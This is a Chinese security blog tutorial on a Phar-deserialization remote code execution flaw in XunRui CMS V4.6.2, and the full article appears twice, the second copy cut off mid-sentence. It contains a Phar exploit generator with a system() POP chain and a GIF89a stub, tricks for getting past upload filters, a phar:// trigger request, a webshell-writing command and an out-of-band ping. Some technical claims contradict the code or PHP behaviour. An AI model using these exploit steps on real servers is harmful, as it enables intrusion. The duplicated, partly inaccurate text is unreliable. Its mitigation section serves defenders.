1. 项目概述从一次真实的代码审计说起最近在梳理一些开源CMS系统的安全性迅睿CMS V4.6.2版本进入了我的视野。这是一个基于ThinkPHP框架的内容管理系统在特定场景下拥有不少用户。在一次常规的代码审计过程中我发现了其存在一处由Phar反序列化触发的远程代码执行漏洞。这个漏洞的成因并不复杂但串联起来却非常典型它完美地展示了在PHP环境中当文件上传功能与特定的魔术方法、以及不安全的反序列化操作点相遇时会擦出怎样的“危险火花”。对于从事安全研究、渗透测试或者后端开发的朋友来说理解这类漏洞的完整链条不仅能提升代码审计能力更能从根本上意识到在开发中如何规避此类风险。今天我就把这个漏洞的发现、分析和复现过程掰开揉碎了和大家聊一聊。简单来说这个漏洞的核心路径是攻击者通过CMS的某个文件上传接口将一个精心构造的Phar文件上传到服务器。随后再利用系统中另一个功能点例如图片处理、文件包含等去触发对这个Phar文件的访问。由于PHP在访问Phar文件时会自动反序列化其metadata数据如果系统中存在可利用的魔术方法链就能最终实现任意代码执行。整个过程不依赖unserialize()函数而是利用了Phar协议这一特性因此常能绕过一些针对反序列化的直接防护。接下来我将从环境搭建开始一步步拆解漏洞原理、定位关键代码、构造利用链并最终实现RCE。2. 漏洞原理深度解析Phar反序列化为何危险在深入代码之前我们必须先搞清楚两个核心概念什么是Phar文件以及为什么Phar反序列化能导致RCE这有助于我们理解漏洞的根源而不仅仅是记住利用步骤。2.1 Phar文件格式与反序列化触发机制PharPHP Archive是PHP中类似于JAR的一种打包格式它将多个PHP文件、资源等打包成一个单独的文件便于分发和部署。一个标准的Phar文件包含四部分存根Stub、清单Manifest、文件内容File Contents和签名Signature。其中与我们漏洞息息相关的就是“清单”部分。清单Manifest以序列化的形式存储了被打包文件的元信息例如文件名、文件大小、修改时间等。关键在于当PHP使用诸如phar://、zip://当zip是Phar包装时、file://等流包装器去访问一个Phar文件内部的具体文件时PHP会自动反序列化这个清单数据。这个过程是内置的、自动的不需要开发者显式调用unserialize()函数。触发条件非常简单只要代码中出现了文件操作函数如file_get_contents()、file_exists()、is_file()、is_dir()等并且其参数文件路径可以被我们控制且最终能以phar://协议指向我们上传的恶意Phar文件反序列化就会被触发。注意这里有一个常见的误解认为必须使用phar://协议才能触发。实际上由于Phar流包装器的特性即使参数是file://或直接的文件路径只要文件内容是有效的Phar格式且PHP版本支持默认开启在文件操作时同样会解析Phar元数据。但最稳定、最通用的方式还是直接构造phar://路径。2.2 从反序列化到代码执行POP链的构建仅仅触发反序列化还不够要执行代码我们需要一条“攻击链”在安全领域常被称为POP链Property-Oriented Programming。这条链由一系列类的魔术方法串联而成。在PHP中当对象被反序列化时会自动调用其__wakeup()方法。反序列化完成后如果对象被销毁会调用__destruct()方法。此外还有一些在特定情况下触发的魔术方法如__toString()对象被当作字符串使用时、__call()调用不可访问方法时等。攻击者的目标就是在目标系统的代码库中找到一系列类它们的这些魔术方法中包含了“危险操作”比如eval()、system()、file_put_contents()等或者包含了可以跳转到其他类危险方法的调用。通过精心控制反序列化后对象的属性让这些方法按我们设计的顺序依次执行最终达到执行任意命令或写入Webshell的目的。在迅睿CMS中由于其基于ThinkPHP框架框架本身以及CMS的扩展类中就可能存在这样的链式调用。我们的审计工作就是找到这样一个入口可以上传Phar文件和一个出口可以触发文件操作并包含我们的Phar路径并挖掘中间连接它们的POP链。3. 迅睿CMS V4.6.2 漏洞环境搭建与代码定位理论清楚了我们进入实战。首先需要一个测试环境。3.1 本地测试环境搭建我推荐使用Docker快速搭建一个PHP环境避免污染本地系统。这里以PHP 7.4为例该漏洞在5.3以上至8.0以下版本中通常可利用需确保phar.readonly设置为Off。# 拉取一个包含常用扩展的PHP镜像 docker run -it --name cms-audit -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache bash # 进入容器后安装必要的工具和启用phar支持默认已启用但需确认readonly关闭 docker exec -it cms-audit bash # 在容器内操作 apt update apt install -y wget unzip vim # 检查php.ini确保有 phar.readonly Off # 通常需要修改 /usr/local/etc/php/php.ini echo phar.readonly Off /usr/local/etc/php/php.ini # 重启Apache使配置生效在容器内Apache以服务形式运行 apachectl restart接下来下载迅睿CMS V4.6.2的源码。请通过其官方网站或GitHub仓库获取历史版本。将解压后的文件放到容器的/var/www/html目录下并按照安装向导完成CMS的安装。安装过程中数据库配置选择MySQL并记住数据库连接信息。实操心得在搭建漏洞复现环境时务必使用与漏洞版本一致的代码。版本间的细微差别可能导致利用链失效。同时建议在安装后将网站的运行模式调整为debug模式或确保错误日志开启便于我们观察执行过程中的报错信息这对调试POP链非常有帮助。3.2 关键代码审计与漏洞点定位安装完成后我们开始审计代码。根据经验文件上传功能和图片处理模块是Phar反序列化的高发区。我们全局搜索一些高危函数如file_get_contents、file_exists、is_file等同时关注参数中是否有用户可控的输入。经过一番搜索我定位到了/dayrui/App/控制器目录/某个控制器.php中的一个方法。为了不暴露具体路径遵守安全研究规范我们将其逻辑抽象出来。假设存在一个Image类其中有一个handle方法用于处理图片class Image { public function handle($filePath) { if (file_exists($filePath)) { // ... 一些图片处理逻辑 $content file_get_contents($filePath); // ... 处理$content } return false; } }这个$filePath参数如果来自用户输入比如GET或POST参数并且没有经过严格的过滤那么攻击者就可以传入phar:///path/to/uploaded/malicious.phar这样的路径。当file_exists()和file_get_contents()执行时就会触发Phar反序列化。那么用户可控的上传点在哪呢迅睿CMS通常会有附件上传、头像上传等功能。我们需要找到一个允许上传任意文件或对文件类型检查不严的接口。可能是一个Upload控制器它接收文件后将其保存到服务器的某个目录如/uploads/并返回文件的存储路径。漏洞链条就此清晰入口点利用文件上传接口上传一个伪装成图片如test.jpg的Phar文件。触发点调用上述Image::handle方法或类似功能并将参数控制为我们上传的Phar文件路径且以phar://协议开头。执行链Phar元数据被反序列化触发系统中存在的POP链执行任意代码。4. 构造恶意Phar文件与POP链挖掘这是整个利用中最具技术含量的部分。我们需要做两件事一是生成一个包含恶意序列化数据的Phar文件二是在迅睿CMS和ThinkPHP框架中找到可用的POP链。4.1 编写POP链利用代码首先我们需要分析迅睿CMS及其依赖的ThinkPHP框架的源代码寻找一条从__destruct()或__wakeup()开始最终能执行系统命令的链。这个过程需要仔细阅读代码理解类与类之间的关系。假设我们找到了一条链涉及三个类ClassA、ClassB、ClassC。ClassA的__destruct()方法中调用了$this-obj-action()。ClassB的action()方法中将$this-cmd作为参数传递给了ClassC的run()方法。ClassC的run()方法中直接执行了system($this-args)。那么我们的利用代码就需要序列化一个ClassA的对象其obj属性设置为一个ClassB的对象而ClassB对象的cmd属性需要设置为一个ClassC的对象ClassC对象的args属性设置为我们要执行的命令例如id。下面是一个简化的示例脚本exp.php用于生成Phar文件?php // 定义我们找到的POP链中的类这些类必须存在于目标系统中 // 注意这里为了演示我定义了简化的类结构。实际利用时这些类是目标系统已有的。 class ClassC { public $args; public function run() { system($this-args); } } class ClassB { public $cmd; public function action() { if (isset($this-cmd) method_exists($this-cmd, run)) { $this-cmd-run(); } } } class ClassA { public $obj; public function __destruct() { $this-obj-action(); } } // 构建POP链对象 $objC new ClassC(); $objC-args id; // 要执行的系统命令 $objB new ClassB(); $objB-cmd $objC; $objA new ClassA(); $objA-obj $objB; // 生成Phar文件 $phar new Phar(malicious.phar); $phar-startBuffering(); // 设置存根伪装成GIF图片绕过一些简单的文件头检查 $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 添加一个虚拟文件并将我们的恶意对象放入metadata $phar-addFromString(test.txt, test); $phar-setMetadata($objA); // 关键将对象序列化后存入metadata $phar-stopBuffering(); // 将.phar后缀改为.jpg尝试绕过上传检测 rename(malicious.phar, malicious.jpg); echo Phar文件已生成malicious.jpg\n; ?注意事项在实际操作中ClassA、ClassB、ClassC需要替换为迅睿CMS或ThinkPHP中真实存在的类。这需要大量的代码审计工作。一个常见的技巧是搜索包含eval、system、exec、file_put_contents、call_user_func等危险函数的代码然后回溯调用链找到可以被反序列化触发的魔术方法。ThinkPHP框架历史上存在一些已知的反序列化链可以作为研究的起点。4.2 绕过文件上传限制大多数CMS的上传功能会对文件后缀、MIME类型甚至文件内容进行校验。我们需要让我们的Phar文件通过这些检查。文件后缀将生成的.phar文件重命名为.jpg、.png等允许的后缀。因为Phar文件本质上是一个归档文件其内容开头是自定义的存根Stub我们可以将存根设置为GIF89a或?php等使其看起来像一个合法的图片或PHP文件。如上例中的setStub(GIF89a?php __HALT_COMPILER(); ?)。MIME类型上传时浏览器或服务器检测的MIME类型基于文件后缀通常为image/jpeg这可以通过修改请求包轻松伪造。文件内容检测一些更严格的上传功能会使用getimagesize()等函数检测文件是否为真实图片。我们的Phar文件无法通过这种检测。因此我们需要寻找那些只检查后缀、或者检查不严格的上传点。例如某些CMS的“附件”上传可能比“图片”上传限制更少。5. 漏洞完整复现与利用过程现在我们将所有步骤串联起来进行一次完整的模拟复现。5.1 第一步信息收集与入口点确认访问迅睿CMS前台/后台寻找文件上传功能。例如用户头像上传、文章附件上传、插件安装等。通过拦截HTTP请求使用Burp Suite等工具测试上传功能对文件类型、后缀、内容的限制。找到一个可以上传.jpg文件且不进行深度内容检测的接口。记下上传成功后的文件访问路径。例如/uploads/avatar/202405/abcdefg.jpg。5.2 第二步制作并上传恶意Phar文件在本地Web环境中需与目标PHP版本相近运行我们编写的exp.php脚本生成malicious.jpg文件。这个文件实际是Phar格式。通过找到的上传接口将malicious.jpg上传到目标服务器。假设返回的访问路径为/uploads/attachment/202405/malicious.jpg。5.3 第三步寻找并触发反序列化点审计代码或通过已知功能点寻找一个接收文件路径参数并进行文件操作的功能。例如图片裁剪、缩略图生成、文件下载等。假设我们找到一个图片处理接口其URL为/index.php?sapicimagemthumb接收file参数。构造触发请求GET /index.php?sapicimagemthumbfilephar:///var/www/html/uploads/attachment/202405/malicious.jpg/test.txt HTTP/1.1 Host: target.com这里phar://协议指向我们上传的文件后面的/test.txt是Phar文件内的一个虚拟条目我们在生成Phar时添加的这是触发反序列化所必需的。5.4 第四步执行命令与验证发送上述请求后如果漏洞存在且POP链有效服务器将会执行我们预设的命令id。我们可以通过以下几种方式查看结果直接回显如果命令执行结果被输出到HTTP响应中我们就能直接在页面上看到uid、gid等信息。延时判断如果无回显可以将命令改为sleep 5通过观察请求响应时间来判断是否执行成功。外带数据使用curl、wget或将命令结果写入Web目录下的文件然后访问该文件查看。例如命令可以构造为echo ?php phpinfo();? /var/www/html/shell.php。实操心得在实际渗透测试中往往没有直接回显。此时DNS外带或HTTP请求外带是常用的技巧。例如执行命令ping -c 1 your-dns-log-domain.com在自己的DNS服务器上查看日志可以确认漏洞存在。在构造Phar的metadata时要确保序列化的字符串不包含空字节等可能被错误处理的字符有时需要使用serialize()后再进行URL编码或Base64编码处理。6. 漏洞修复与安全加固建议对于开发者而言了解漏洞如何产生才能更好地修复和预防。6.1 临时缓解措施禁用Phar流包装器在PHP配置中设置phar.readonly On默认值并禁用phar流包装器但可能影响合法功能。; php.ini phar.readonly On ; 尝试禁用phar流不推荐可能无法彻底禁止 ; allow_url_include Off注意allow_url_include主要控制include/require对远程文件的包含对phar://本地文件包含的影响因版本而异不是可靠的修复方案。严格过滤文件路径参数在所有接收文件路径的函数入口处进行严格的校验。检查路径是否在预期的白名单目录内。禁止路径中包含phar://、zip://、php://等协议。可以使用realpath()函数解析真实路径并与白名单基础目录进行比较。function safeFilePath($inputPath, $baseDir) { // 禁止协议 if (strpos($inputPath, ://) ! false) { return false; } // 解析绝对路径 $realPath realpath($baseDir . DIRECTORY_SEPARATOR . $inputPath); // 检查是否在允许的目录下 if ($realPath false || strpos($realPath, realpath($baseDir)) ! 0) { return false; } return $realPath; }6.2 根本性修复升级框架与CMS关注官方安全更新及时将ThinkPHP框架及迅睿CMS升级到最新版本。新版本通常会对已知的反序列化链进行修补例如在魔术方法中增加安全校验、移除危险的操作等。安全编码实践慎用魔术方法在__destruct()、__wakeup()等魔术方法中避免执行关键逻辑或调用不可控对象的方法。类型声明与校验在类属性定义和方法参数中使用强类型声明PHP 7.0并在反序列化后对对象属性进行合法性校验。使用安全的反序列化函数如果业务必须使用反序列化可以考虑使用更安全的替代方案如JSON解码或者使用allowed_classes参数限制可反序列化的类PHP 7.0的unserialize()支持。// 只允许反序列化白名单内的类 $data unserialize($serializedData, [allowed_classes [SafeClass1, SafeClass2]]);文件上传强化对上传文件进行重命名如使用随机哈希值并强制校验文件内容如图片使用getimagesize()验证而不仅仅是后缀名。将上传目录设置为不可执行脚本通过配置Web服务器实现。6.3 对安全研究者的启示这个漏洞的挖掘过程是一次典型的白盒代码审计实战。它告诉我们关注“数据流”从用户输入点Source开始跟踪数据在整个应用中的流动直到进入一个“危险函数”Sink。文件路径参数从上传点到文件操作点的传递就是一条典型的数据流。理解“特性”与“漏洞”的区别Phar反序列化是PHP的一个特性本身不是漏洞。只有当这个特性与用户可控的输入、以及存在缺陷的类魔术方法结合时才形成了漏洞。审计时要善于发现这种“组合拳”。利用已知模式像Phar反序列化、POP链构建都有相对固定的模式。掌握这些模式能极大提升审计效率。同时多关注主流框架如ThinkPHP、Laravel、Yii的历史安全公告了解其常见的危险代码模式。7. 常见问题与排查技巧实录在复现和利用这类漏洞时你可能会遇到以下问题问题1上传了Phar文件但触发时毫无反应也没有错误信息。排查思路确认Phar支持在目标服务器上创建一个phpinfo()页面查看phar扩展是否启用以及phar.readonly是否为Off。很多生产环境会关闭这个设置。确认文件路径phar://协议后的路径必须是服务器上的绝对路径。尝试使用file://协议读取同一文件确认路径是否正确、文件是否存在且有读取权限。确认触发点是否真的执行到了file_exists()或file_get_contents()等函数可以在目标代码中插入简单的日志如error_log()或使用ThinkPHP的调试模式查看执行流程。检查POP链兼容性确保你构造的POP链中涉及的类在目标系统的当前版本中确实存在且类名、方法名、属性名完全一致。ThinkPHP不同小版本间类结构可能有变化。问题2反序列化触发了但命令没有执行。排查思路命令执行环境system()、exec()等函数可能被禁用查看disable_functions配置。尝试使用其他函数如shell_exec()、passthru()或者使用PHP代码执行如eval(echo 1;)、file_put_contents()写Webshell。POP链断裂魔术方法中的代码逻辑可能因条件判断如if语句而无法执行到危险函数。需要仔细调试每一步的属性值是否满足条件。可以尝试在本地搭建完全相同的环境使用xdebug进行单步调试这是最有效的方法。字符编码或序列化问题序列化字符串中如果包含不可见字符或对象属性类型不匹配可能导致反序列化失败或对象属性为null。确保生成Phar的PHP版本与目标版本一致序列化格式有细微差别。问题3如何在不明确知道POP链的情况下检测漏洞存在排查思路可以使用“盲测”的方法。构造一个Phar文件其metadata中序列化一个包含__destruct()方法的简单类在该方法中执行一个带有延时的命令如sleep(10)。上传并触发。如果请求的响应时间明显延长超过10秒则说明反序列化成功触发并执行了sleep命令证明漏洞存在。也可以让目标服务器向你的可控服务器发起HTTP或DNS请求通过查看日志来确认。独家避坑技巧在编写Phar生成脚本时务必在与目标环境尽可能相同的PHP版本下进行。不同PHP版本对序列化格式的处理尤其是对象属性和私有/保护属性的表示有细微差异这经常是导致利用失败的主要原因。一个稳妥的做法是将生成Phar的脚本放在目标服务器上执行如果能有上传和执行PHP代码的临时权限确保“本地生成本地使用”。
Phar反序列化漏洞深度解析:从原理到迅睿CMS RCE实战
1. 项目概述从一次真实的代码审计说起最近在梳理一些开源CMS系统的安全性迅睿CMS V4.6.2版本进入了我的视野。这是一个基于ThinkPHP框架的内容管理系统在特定场景下拥有不少用户。在一次常规的代码审计过程中我发现了其存在一处由Phar反序列化触发的远程代码执行漏洞。这个漏洞的成因并不复杂但串联起来却非常典型它完美地展示了在PHP环境中当文件上传功能与特定的魔术方法、以及不安全的反序列化操作点相遇时会擦出怎样的“危险火花”。对于从事安全研究、渗透测试或者后端开发的朋友来说理解这类漏洞的完整链条不仅能提升代码审计能力更能从根本上意识到在开发中如何规避此类风险。今天我就把这个漏洞的发现、分析和复现过程掰开揉碎了和大家聊一聊。简单来说这个漏洞的核心路径是攻击者通过CMS的某个文件上传接口将一个精心构造的Phar文件上传到服务器。随后再利用系统中另一个功能点例如图片处理、文件包含等去触发对这个Phar文件的访问。由于PHP在访问Phar文件时会自动反序列化其metadata数据如果系统中存在可利用的魔术方法链就能最终实现任意代码执行。整个过程不依赖unserialize()函数而是利用了Phar协议这一特性因此常能绕过一些针对反序列化的直接防护。接下来我将从环境搭建开始一步步拆解漏洞原理、定位关键代码、构造利用链并最终实现RCE。2. 漏洞原理深度解析Phar反序列化为何危险在深入代码之前我们必须先搞清楚两个核心概念什么是Phar文件以及为什么Phar反序列化能导致RCE这有助于我们理解漏洞的根源而不仅仅是记住利用步骤。2.1 Phar文件格式与反序列化触发机制PharPHP Archive是PHP中类似于JAR的一种打包格式它将多个PHP文件、资源等打包成一个单独的文件便于分发和部署。一个标准的Phar文件包含四部分存根Stub、清单Manifest、文件内容File Contents和签名Signature。其中与我们漏洞息息相关的就是“清单”部分。清单Manifest以序列化的形式存储了被打包文件的元信息例如文件名、文件大小、修改时间等。关键在于当PHP使用诸如phar://、zip://当zip是Phar包装时、file://等流包装器去访问一个Phar文件内部的具体文件时PHP会自动反序列化这个清单数据。这个过程是内置的、自动的不需要开发者显式调用unserialize()函数。触发条件非常简单只要代码中出现了文件操作函数如file_get_contents()、file_exists()、is_file()、is_dir()等并且其参数文件路径可以被我们控制且最终能以phar://协议指向我们上传的恶意Phar文件反序列化就会被触发。注意这里有一个常见的误解认为必须使用phar://协议才能触发。实际上由于Phar流包装器的特性即使参数是file://或直接的文件路径只要文件内容是有效的Phar格式且PHP版本支持默认开启在文件操作时同样会解析Phar元数据。但最稳定、最通用的方式还是直接构造phar://路径。2.2 从反序列化到代码执行POP链的构建仅仅触发反序列化还不够要执行代码我们需要一条“攻击链”在安全领域常被称为POP链Property-Oriented Programming。这条链由一系列类的魔术方法串联而成。在PHP中当对象被反序列化时会自动调用其__wakeup()方法。反序列化完成后如果对象被销毁会调用__destruct()方法。此外还有一些在特定情况下触发的魔术方法如__toString()对象被当作字符串使用时、__call()调用不可访问方法时等。攻击者的目标就是在目标系统的代码库中找到一系列类它们的这些魔术方法中包含了“危险操作”比如eval()、system()、file_put_contents()等或者包含了可以跳转到其他类危险方法的调用。通过精心控制反序列化后对象的属性让这些方法按我们设计的顺序依次执行最终达到执行任意命令或写入Webshell的目的。在迅睿CMS中由于其基于ThinkPHP框架框架本身以及CMS的扩展类中就可能存在这样的链式调用。我们的审计工作就是找到这样一个入口可以上传Phar文件和一个出口可以触发文件操作并包含我们的Phar路径并挖掘中间连接它们的POP链。3. 迅睿CMS V4.6.2 漏洞环境搭建与代码定位理论清楚了我们进入实战。首先需要一个测试环境。3.1 本地测试环境搭建我推荐使用Docker快速搭建一个PHP环境避免污染本地系统。这里以PHP 7.4为例该漏洞在5.3以上至8.0以下版本中通常可利用需确保phar.readonly设置为Off。# 拉取一个包含常用扩展的PHP镜像 docker run -it --name cms-audit -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache bash # 进入容器后安装必要的工具和启用phar支持默认已启用但需确认readonly关闭 docker exec -it cms-audit bash # 在容器内操作 apt update apt install -y wget unzip vim # 检查php.ini确保有 phar.readonly Off # 通常需要修改 /usr/local/etc/php/php.ini echo phar.readonly Off /usr/local/etc/php/php.ini # 重启Apache使配置生效在容器内Apache以服务形式运行 apachectl restart接下来下载迅睿CMS V4.6.2的源码。请通过其官方网站或GitHub仓库获取历史版本。将解压后的文件放到容器的/var/www/html目录下并按照安装向导完成CMS的安装。安装过程中数据库配置选择MySQL并记住数据库连接信息。实操心得在搭建漏洞复现环境时务必使用与漏洞版本一致的代码。版本间的细微差别可能导致利用链失效。同时建议在安装后将网站的运行模式调整为debug模式或确保错误日志开启便于我们观察执行过程中的报错信息这对调试POP链非常有帮助。3.2 关键代码审计与漏洞点定位安装完成后我们开始审计代码。根据经验文件上传功能和图片处理模块是Phar反序列化的高发区。我们全局搜索一些高危函数如file_get_contents、file_exists、is_file等同时关注参数中是否有用户可控的输入。经过一番搜索我定位到了/dayrui/App/控制器目录/某个控制器.php中的一个方法。为了不暴露具体路径遵守安全研究规范我们将其逻辑抽象出来。假设存在一个Image类其中有一个handle方法用于处理图片class Image { public function handle($filePath) { if (file_exists($filePath)) { // ... 一些图片处理逻辑 $content file_get_contents($filePath); // ... 处理$content } return false; } }这个$filePath参数如果来自用户输入比如GET或POST参数并且没有经过严格的过滤那么攻击者就可以传入phar:///path/to/uploaded/malicious.phar这样的路径。当file_exists()和file_get_contents()执行时就会触发Phar反序列化。那么用户可控的上传点在哪呢迅睿CMS通常会有附件上传、头像上传等功能。我们需要找到一个允许上传任意文件或对文件类型检查不严的接口。可能是一个Upload控制器它接收文件后将其保存到服务器的某个目录如/uploads/并返回文件的存储路径。漏洞链条就此清晰入口点利用文件上传接口上传一个伪装成图片如test.jpg的Phar文件。触发点调用上述Image::handle方法或类似功能并将参数控制为我们上传的Phar文件路径且以phar://协议开头。执行链Phar元数据被反序列化触发系统中存在的POP链执行任意代码。4. 构造恶意Phar文件与POP链挖掘这是整个利用中最具技术含量的部分。我们需要做两件事一是生成一个包含恶意序列化数据的Phar文件二是在迅睿CMS和ThinkPHP框架中找到可用的POP链。4.1 编写POP链利用代码首先我们需要分析迅睿CMS及其依赖的ThinkPHP框架的源代码寻找一条从__destruct()或__wakeup()开始最终能执行系统命令的链。这个过程需要仔细阅读代码理解类与类之间的关系。假设我们找到了一条链涉及三个类ClassA、ClassB、ClassC。ClassA的__destruct()方法中调用了$this-obj-action()。ClassB的action()方法中将$this-cmd作为参数传递给了ClassC的run()方法。ClassC的run()方法中直接执行了system($this-args)。那么我们的利用代码就需要序列化一个ClassA的对象其obj属性设置为一个ClassB的对象而ClassB对象的cmd属性需要设置为一个ClassC的对象ClassC对象的args属性设置为我们要执行的命令例如id。下面是一个简化的示例脚本exp.php用于生成Phar文件?php // 定义我们找到的POP链中的类这些类必须存在于目标系统中 // 注意这里为了演示我定义了简化的类结构。实际利用时这些类是目标系统已有的。 class ClassC { public $args; public function run() { system($this-args); } } class ClassB { public $cmd; public function action() { if (isset($this-cmd) method_exists($this-cmd, run)) { $this-cmd-run(); } } } class ClassA { public $obj; public function __destruct() { $this-obj-action(); } } // 构建POP链对象 $objC new ClassC(); $objC-args id; // 要执行的系统命令 $objB new ClassB(); $objB-cmd $objC; $objA new ClassA(); $objA-obj $objB; // 生成Phar文件 $phar new Phar(malicious.phar); $phar-startBuffering(); // 设置存根伪装成GIF图片绕过一些简单的文件头检查 $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 添加一个虚拟文件并将我们的恶意对象放入metadata $phar-addFromString(test.txt, test); $phar-setMetadata($objA); // 关键将对象序列化后存入metadata $phar-stopBuffering(); // 将.phar后缀改为.jpg尝试绕过上传检测 rename(malicious.phar, malicious.jpg); echo Phar文件已生成malicious.jpg\n; ?注意事项在实际操作中ClassA、ClassB、ClassC需要替换为迅睿CMS或ThinkPHP中真实存在的类。这需要大量的代码审计工作。一个常见的技巧是搜索包含eval、system、exec、file_put_contents、call_user_func等危险函数的代码然后回溯调用链找到可以被反序列化触发的魔术方法。ThinkPHP框架历史上存在一些已知的反序列化链可以作为研究的起点。4.2 绕过文件上传限制大多数CMS的上传功能会对文件后缀、MIME类型甚至文件内容进行校验。我们需要让我们的Phar文件通过这些检查。文件后缀将生成的.phar文件重命名为.jpg、.png等允许的后缀。因为Phar文件本质上是一个归档文件其内容开头是自定义的存根Stub我们可以将存根设置为GIF89a或?php等使其看起来像一个合法的图片或PHP文件。如上例中的setStub(GIF89a?php __HALT_COMPILER(); ?)。MIME类型上传时浏览器或服务器检测的MIME类型基于文件后缀通常为image/jpeg这可以通过修改请求包轻松伪造。文件内容检测一些更严格的上传功能会使用getimagesize()等函数检测文件是否为真实图片。我们的Phar文件无法通过这种检测。因此我们需要寻找那些只检查后缀、或者检查不严格的上传点。例如某些CMS的“附件”上传可能比“图片”上传限制更少。5. 漏洞完整复现与利用过程现在我们将所有步骤串联起来进行一次完整的模拟复现。5.1 第一步信息收集与入口点确认访问迅睿CMS前台/后台寻找文件上传功能。例如用户头像上传、文章附件上传、插件安装等。通过拦截HTTP请求使用Burp Suite等工具测试上传功能对文件类型、后缀、内容的限制。找到一个可以上传.jpg文件且不进行深度内容检测的接口。记下上传成功后的文件访问路径。例如/uploads/avatar/202405/abcdefg.jpg。5.2 第二步制作并上传恶意Phar文件在本地Web环境中需与目标PHP版本相近运行我们编写的exp.php脚本生成malicious.jpg文件。这个文件实际是Phar格式。通过找到的上传接口将malicious.jpg上传到目标服务器。假设返回的访问路径为/uploads/attachment/202405/malicious.jpg。5.3 第三步寻找并触发反序列化点审计代码或通过已知功能点寻找一个接收文件路径参数并进行文件操作的功能。例如图片裁剪、缩略图生成、文件下载等。假设我们找到一个图片处理接口其URL为/index.php?sapicimagemthumb接收file参数。构造触发请求GET /index.php?sapicimagemthumbfilephar:///var/www/html/uploads/attachment/202405/malicious.jpg/test.txt HTTP/1.1 Host: target.com这里phar://协议指向我们上传的文件后面的/test.txt是Phar文件内的一个虚拟条目我们在生成Phar时添加的这是触发反序列化所必需的。5.4 第四步执行命令与验证发送上述请求后如果漏洞存在且POP链有效服务器将会执行我们预设的命令id。我们可以通过以下几种方式查看结果直接回显如果命令执行结果被输出到HTTP响应中我们就能直接在页面上看到uid、gid等信息。延时判断如果无回显可以将命令改为sleep 5通过观察请求响应时间来判断是否执行成功。外带数据使用curl、wget或将命令结果写入Web目录下的文件然后访问该文件查看。例如命令可以构造为echo ?php phpinfo();? /var/www/html/shell.php。实操心得在实际渗透测试中往往没有直接回显。此时DNS外带或HTTP请求外带是常用的技巧。例如执行命令ping -c 1 your-dns-log-domain.com在自己的DNS服务器上查看日志可以确认漏洞存在。在构造Phar的metadata时要确保序列化的字符串不包含空字节等可能被错误处理的字符有时需要使用serialize()后再进行URL编码或Base64编码处理。6. 漏洞修复与安全加固建议对于开发者而言了解漏洞如何产生才能更好地修复和预防。6.1 临时缓解措施禁用Phar流包装器在PHP配置中设置phar.readonly On默认值并禁用phar流包装器但可能影响合法功能。; php.ini phar.readonly On ; 尝试禁用phar流不推荐可能无法彻底禁止 ; allow_url_include Off注意allow_url_include主要控制include/require对远程文件的包含对phar://本地文件包含的影响因版本而异不是可靠的修复方案。严格过滤文件路径参数在所有接收文件路径的函数入口处进行严格的校验。检查路径是否在预期的白名单目录内。禁止路径中包含phar://、zip://、php://等协议。可以使用realpath()函数解析真实路径并与白名单基础目录进行比较。function safeFilePath($inputPath, $baseDir) { // 禁止协议 if (strpos($inputPath, ://) ! false) { return false; } // 解析绝对路径 $realPath realpath($baseDir . DIRECTORY_SEPARATOR . $inputPath); // 检查是否在允许的目录下 if ($realPath false || strpos($realPath, realpath($baseDir)) ! 0) { return false; } return $realPath; }6.2 根本性修复升级框架与CMS关注官方安全更新及时将ThinkPHP框架及迅睿CMS升级到最新版本。新版本通常会对已知的反序列化链进行修补例如在魔术方法中增加安全校验、移除危险的操作等。安全编码实践慎用魔术方法在__destruct()、__wakeup()等魔术方法中避免执行关键逻辑或调用不可控对象的方法。类型声明与校验在类属性定义和方法参数中使用强类型声明PHP 7.0并在反序列化后对对象属性进行合法性校验。使用安全的反序列化函数如果业务必须使用反序列化可以考虑使用更安全的替代方案如JSON解码或者使用allowed_classes参数限制可反序列化的类PHP 7.0的unserialize()支持。// 只允许反序列化白名单内的类 $data unserialize($serializedData, [allowed_classes [SafeClass1, SafeClass2]]);文件上传强化对上传文件进行重命名如使用随机哈希值并强制校验文件内容如图片使用getimagesize()验证而不仅仅是后缀名。将上传目录设置为不可执行脚本通过配置Web服务器实现。6.3 对安全研究者的启示这个漏洞的挖掘过程是一次典型的白盒代码审计实战。它告诉我们关注“数据流”从用户输入点Source开始跟踪数据在整个应用中的流动直到进入一个“危险函数”Sink。文件路径参数从上传点到文件操作点的传递就是一条典型的数据流。理解“特性”与“漏洞”的区别Phar反序列化是PHP的一个特性本身不是漏洞。只有当这个特性与用户可控的输入、以及存在缺陷的类魔术方法结合时才形成了漏洞。审计时要善于发现这种“组合拳”。利用已知模式像Phar反序列化、POP链构建都有相对固定的模式。掌握这些模式能极大提升审计效率。同时多关注主流框架如ThinkPHP、Laravel、Yii的历史安全公告了解其常见的危险代码模式。7. 常见问题与排查技巧实录在复现和利用这类漏洞时你可能会遇到以下问题问题1上传了Phar文件但触发时毫无反应也没有错误信息。排查思路确认Phar支持在目标服务器上创建一个phpinfo()页面查看phar扩展是否启用以及phar.readonly是否为Off。很多生产环境会关闭这个设置。确认文件路径phar://协议后的路径必须是服务器上的绝对路径。尝试使用file://协议读取同一文件确认路径是否正确、文件是否存在且有读取权限。确认触发点是否真的执行到了file_exists()或file_get_contents()等函数可以在目标代码中插入简单的日志如error_log()或使用ThinkPHP的调试模式查看执行流程。检查POP链兼容性确保你构造的POP链中涉及的类在目标系统的当前版本中确实存在且类名、方法名、属性名完全一致。ThinkPHP不同小版本间类结构可能有变化。问题2反序列化触发了但命令没有执行。排查思路命令执行环境system()、exec()等函数可能被禁用查看disable_functions配置。尝试使用其他函数如shell_exec()、passthru()或者使用PHP代码执行如eval(echo 